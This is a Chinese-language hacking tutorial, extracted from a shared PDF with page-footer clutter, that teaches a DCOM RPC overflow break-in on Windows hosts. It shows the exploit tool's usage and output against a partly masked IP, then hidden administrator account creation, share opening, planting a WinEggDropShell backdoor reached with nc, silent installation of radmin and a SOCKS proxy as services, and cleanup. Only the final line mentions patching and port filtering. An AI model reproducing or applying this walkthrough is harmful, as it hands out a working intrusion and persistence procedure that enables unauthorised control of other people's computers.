《2022年入侵服务器 .pdf》由会员分享，可在线阅读，更多相关《2022年入侵服务器 .pdf（6页珍藏版）》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、一步步教你学dcomrpc 入侵2010-01-25 14:57:46 来源：互联网最近，网上非常流行dcomrpc，那今天我们就教你详细的利用dcomrpc 入侵。和入侵之后必须做什么。需要的工具：很好的：radmin.E E 扫描工具 : retinarpcdcom.E E 溢出攻击工具 :RpcDco . 最近，网上非常流行dcomrpc，那今天我们就教你详细的利用dcomrpc 入侵。和入侵之后必须做什么。需要的工具：很好的：radmin.EE 扫描工具 : retinarpcdcom.E E 溢出攻击工具:RpcDcom( 通用溢出工具) 脚本开启telnet 工具： telnet.
2、vbe opentelnet.EE resumetelnet.EE 代理： sksockserver.EE 后门程序： WinEggDropShellPro3thVersion 好了，该做的都做的差不多了。先使用 retinarpcdcom.E E 扫描一个网段。查找有rpc 漏洞的机子，这个漏洞需要135端口开放， (想必随便扫一下就会发现有许多主机开放的135 端口 ) 211.217.50.xx 第一个主机就被扫出来又此漏洞。看看 211.217.50.xx 有没有其他的漏洞或是若口令之类的.我们可以使用流光扫描一下其他的缺陷主机开了3389 端口我们可以上去看一下是xp 版本还是 wi
3、n2k 是 win2k server 版本展开命令行：查看 dcomrpc 的用法用法dcomrpc -d options F:/hackcd rpc/dcomrpc RPC DCOM Expl01t coded by .:oc192.us:. Security Complied and Modified by Expl01t Usage: dcomrpc -d options 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 1 页，共 6 页 - - - - - - - - - O
4、ptions: -d: Hostname to attack Required -t: Type Default: 0 -r: Return address Default: Selected from target -p: Attack port Default: 135 -l: Bindshell port Default: 666 Types: 0 0 x0018759f: Win2k-Universal 1 0 x0100139d: WinXP-Universal 开始进行溢出：F:/hackcd rpc/dcomrpc -d 211.217.50.xx 0 RPC DCOM remo
5、te expl01t - .:oc192.us:. Security Complied and recorrected by Expl01t + Resolving host. + Done. + Expl01ting.Just wait. 等到出现，说明溢出成功c:/winnt/system32 接着我们建立用户c:/winnt/system32net user blueye$ 1111 /add 命令成功完成。把用户添加成超级管理员名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第
6、2 页，共 6 页 - - - - - - - - - c:/winnt/system32net localgroup administrators blueye$ /add 命令成功完成。看看共享开了没有没有的话把共享开开c:/winnt/system32net share 清单是空的。c:/winnt/system32net share ipc$ 命令成功完成。c:/winnt/system32net share admin$ 命令成功完成。到这里我们入侵告一段落 建 立 IPC$ 连 接 ，也可以使用tftp 上传，先和对方建立连接 F:/hacknet use /211.217.50.
7、xx/ipc$ 1111 /user:blueye$ 上 传 一 个 后 门 程 序 到 对 方 的 主 机 里 F:/hackcopy d:/inject.E E /211.217.50.xx/admin$/system32 F:/hackcopy d:/tback.dll /211.217.50.xx/admin$/system32 然后运行后门程序，我们可以使用at 命令。但是有的机器把at 明令禁止了，建议直接开起 telnet 使用 opentelnet.EE 关闭开启的telnet 使用 resumetelnet / /ip user password 如果忘记开共享可以使用脚本开
8、启telnet 来开共享，用法: cscript telnet.vbe ip user password null port (null是验证方式 ) F:/hackopentenet /211.217.50.xx blueye$ 1111 1 4567 F:/hacktelnet 211.217.50.xx 4567 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 3 页，共 6 页 - - - - - - - - - (省略 ) 连接并运行后门程序运行后门程序命令根目录： inj
9、ect.EE -run (后门使用方法和安装都在zip 文件里面包含了) 后门端口 123456 F:/hacknc 211.217.50.xx 123456 Welcome To WinEggDropShell Matrix Version Melody 下面安装 radmin ，配置好的radmin 客户端有4 个文件。配置radmin 客户端可参考相关文章。radmin.reg raddrv.dll admdll.dll r_server.EE 把这个 4 个文件 copy c:/winnt/system32 在目录下面执行命令c:/winnt/system32r_server /s r
10、admin.reg - 导入注册表c:/winnt/system32r_server /install /silence -安装 radmin.并且不显示托盘c:/winnt/system32net start r_server - 启动服务安装 sock 代理把 sksockserver.EE copy c:/winnt/system32 c:/winnt/system32sksockserver /install - 安装服务c:/winnt/system32sksockserver -config port 1234 -端口定在1234 自己可以改名师资料总结 - - -精品资料欢迎下载
11、 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 4 页，共 6 页 - - - - - - - - - c:/winnt/system32sksockserver -config starttype 2 - 开机自动启动c:/winnt/system32net start skserver - 启动服务最后删除共享net share ipc$ /del net share admin$ /del 在安装 radmin 的时候你发现有人已经安装了。看操作(我输入的内容 ) 后门连接F:/hacknc 211.217.50.x
12、x 123456 Welcome To WinEggDropShell Matrix Version Melody #(pslist) Melody #(pskill r_server) Melody #(shell) c:/winnt/system32(del r_server.E E) c:/winnt/system32(del admdll.dll) c:/winnt/system32(del raddrv.dll) copy 你自己的上去，然后安装省事的办法直接导入注册表，然后重新输入安装命令运行，就可以了， 只是在原来默认端口上面架上了密码。这时，你就会有疑问了!为什么我输入导入注册
13、表命令不管用呢?出现什么regedit 不是可运行的程序之类的。出现这样的情况最简单的解决办法telnet 上去导入试试看，还可以先运行radmin 然后在 radmin 的 dos下导入，也是可以的。防御办法：名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 5 页，共 6 页 - - - - - - - - - 安装 rpc 补丁，使用防火墙过滤135， 445，139 等端口。本 篇 文 章 来 源 于黑 客 基 地 - 全 球 最 大 的 中 文 黑 客 站原 文 链 接 ：http:/ 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 6 页，共 6 页 - - - - - - - - -